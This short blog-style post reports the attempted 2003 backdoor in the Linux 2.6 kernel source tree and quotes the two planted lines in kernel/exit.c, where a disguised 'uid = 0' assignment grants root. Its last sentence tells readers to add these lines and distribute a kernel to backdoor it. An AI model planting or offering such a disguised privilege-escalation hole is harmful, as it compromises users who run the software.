Linux Kernel Back Door Attempt

Kernel Trap has a very interesting article describing an attempt to inject a back door to 2.6 kernel for gaining a root access:

Here are two lines are in kernel/exit.c:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

It was found that someone had directly modified the BitKeeper source tree. These changes has been detected by BitMover founder Larry McVoy and is now removed. Andreas Dilger pointed out that had the change gone undetected "it might have taken a good while to find".

If someone want to inject back door to kernel, just add these two lines in sys_wait4() call and distribute the kernel image.